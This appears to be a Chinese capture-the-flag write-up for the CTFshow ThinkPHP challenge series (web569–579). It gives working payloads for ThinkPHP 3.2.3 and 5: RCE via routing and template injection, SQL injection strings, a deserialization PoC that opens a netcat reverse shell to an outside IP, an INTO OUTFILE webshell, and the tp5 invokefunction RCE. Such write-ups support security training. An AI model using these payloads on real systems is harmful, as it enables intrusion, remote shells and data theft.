安装composer
我们肯定是要看源码的,所以下载这个工具在Windows
1
| https://getcomposer.org/Composer-Setup.exe
|
下载之后,选中已经有的php.exe
如果在ini中有这个设置就把他注释了
1
| xdebug.start_with_request=yes
|
然后不要选择代理,就一直按next就可以了
web569
1 2 3 4
| CTFshow thinkphp 专项训练-pathinfo的运用
flag在Admin模块的Login控制器的ctfshowLogin方法中
|
这里就是tp的路由问题,如何利用路由直接来进行懒加载调用方法
因为类的命名空间和文件路径是一致的。
1 2 3 4 5 6 7 8 9 10 11
| PATHINFO模式 /index.php/Admin/Login/ctfshowLogin
普通模式 /index.php?m=Admin&c=Login&f=ctfshowLogin
兼容模式 /index.php?s=Admin/Login/ctfshowLogin
REWRITE模式 /Admin/Login/ctfshowLogin
|
web570
这里有个小技巧,打开全局搜索(VSCODE)
拿到代码之后挨个找找发现能看的其实也就这一个文件,里面会直接调用函数
1 2 3 4
| <?php $f="assert"; $d="system('whoami');"; call_user_func($f,$d);
|
然后正常的打就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST /index.php/ctfshow/assert/system($_POST[a]) HTTP/1.1 Host: 8dc231d4-e447-441c-9d51-3e3f18902dd3.challenge.ctf.show Cookie: PHPSESSID=gk1cuucv5cqg8tls58b134unp4 Content-Length: 19 Pragma: no-cache Cache-Control: no-cache Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Origin: https://8dc231d4-e447-441c-9d51-3e3f18902dd3.challenge.ctf.show Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://8dc231d4-e447-441c-9d51-3e3f18902dd3.challenge.ctf.show/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Priority: u=0, i Connection: close
a=tac /flag_is_here
|
web571
这里有一个模版渲染漏洞,其中可以直接渲染n
ThinkPHP 中的 URL 通常遵循如下结构:
1
| /index.php/Home/Controller/Action
|
这个结构的意义如下:
index.php
: 入口文件,负责加载框架。
Home
: 指向应用中的某个模块或命名空间。
Controller
: 指向具体的控制器类。
Action
: 指向控制器中的某个方法(动作)。
控制器类名是 IndexController
,根据 ThinkPHP 的约定,控制器名称应以 Controller
结尾。
在 URL 中,控制器的名称是去掉 Controller
后缀的,即在访问时应该使用 Index
。
1 2 3
| /index.php/Home/Index/index/?n=<php>system("tac /f*")</php>
/index.php/Home/Index/index/?n=<?php system("tac /f*");?>
|
原因我们去看源码
现在用composer下载,在VSCODE终端中输入这条命令
1
| composer create-project topthink/thinkphp=3.2.3 tp3
|
替换恶意代码然后启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller { public function index() { $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8'); } public function test($n=''){ $this->show($n); } }
|
然后启动
发现刚才的payload
是可以成功命令执行的,那么我们进行debug
一探究竟
这一步是调用方法然后就会进行app::exec
的调用,再者进行存日志,删空间
调试走的是app.class.php
的
1
| invokeAction()->exec()->run()->start()->fatalError()
|
这里发现只是一些方法什么的确认,看来我们需要跟进
跟进之后发现是这条
1
| show()->display()->fetch()->
|
发现赋值是这样子,跟进这个函数之后发现代码被隐藏了,那么此时就只能查看官方文档了
1 2 3 4 5
| function ob_get_clean(){ $contents=ob_get_contents(); if($contents!==false) ob_end_clean(); return $contents; }
|
ob_get_contents
用来返回缓冲区的内容
1 2 3 4 5 6 7 8
| <?php ob_start(); echo "Hello "; $out1=ob_get_contents(); echo "World"; $out2=ob_get_contents(); ob_end_clean(); var_dump($out1,$out2);
|
测试了就知道了输出的是缓存区的内容
这里我们模版是原生模版所以成功eval
,审计好玩啊,就是代码好多看不懂
web572
爆破一下了只有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| GET /Application/Runtime/Logs/Home/§21_09_06§.log HTTP/1.1 Host: 5f96fa2c-732c-4b3b-8bfd-ccd8cc49b70e.challenge.ctf.show Cookie: PHPSESSID=q0fdga7ep6qaip22ssm216r1m5 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Referer: https://5f96fa2c-732c-4b3b-8bfd-ccd8cc49b70e.challenge.ctf.show/ Priority: u=0, i Connection: close
|
然后设置
然后拿到日志,日志里面是这个
1
| [ 2021-04-15T14:49:32+08:00 ] 127.0.0.1 /index.php?showctf=%3C?php%20phpinfo();?%3E
|
payload是这
1
| /index.php?showctf=<?php system("tac /f*");?>
|
web573
3.2.3的sql注入漏洞,这里我们直接就注入就可以
1 2 3
| ?id[where]=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3,4
?id[where]=0 union select 1,(select flag4s from flags),3,4
|
注入手法很简单,不过还是可以审计一下的,先设置
/ThinkPHP/Conf/convention.php
,
在修改控制器文件代码为
1 2 3 4 5 6
| class IndexController extends Controller { public function index(){ $data = M('users')->find(I('GET.id')); var_dump($data); } }
|
那么即可注入
1
| ?id[where]=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3
|
web574
1 2 3 4
| public function index($id=1){ $name = M('Users')->where('id='.$id)->find(); $this->show($html); }
|
1 2 3 4 5
| ?id=0) union select 1,2,3,4--+
?id=0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3,4--+
?id=0) union select 1,(select flag4s from flags),3,4--+
|
一样的看看代码
web575
1 2 3 4 5 6 7 8
| $user= unserialize(base64_decode(cookie('user'))); if(!$user || $user->id!==$id){ $user = M('Users'); $user->find(intval($id)); cookie('user',base64_encode(serialize($user->data()))); } $this->show($user->username);
|
看代码
写poc
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
namespace Home\Controller{ class IndexController{ public $id='1'; public $username='<?php system("nc 110.42.47.145 9999 -e /bin/sh");?>'; } } namespace{ use Home\Controller\IndexController; echo base64_encode(serialize(new IndexController())); }
|
web576
1
| $user = M('Users')->comment($id)->find(intval($id));
|
看代码
这里利用注释闭合,然后写入shell
1
| 1*/ into outfile "/var/www/html/shell.php" LINES STARTING BY '<?php eval($_POST[a]);?>'%23
|
web577
1 2 3 4
| $map=array( 'id'=>$_GET['id'] ); $user = M('Users')->where($map)->find();
|
看代码
1 2 3
| ?id[0]=exp&id[1]==0 union select 1,2,3,4--+
?id[0]=exp&id[1]==0 union select 1,(select flag4s from flags),3,4--+
|
web 578
变量覆盖RCE
1 2 3 4
| public function index($name='',$from='ctfshow'){ $this->assign($name,$from); $this->display('index'); }
|
看代码
1 2 3
| ?name=_content&from=<?php system("tac /f*");?>
?name[_content]=<?php system("tac /f*");?>
|
web 579
tp5未开启强制路由RCE
看代码
1
| ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
|
小结
持续更新啊,还是挺多的不过挺有意思,大菜鸡师傅出题就是润!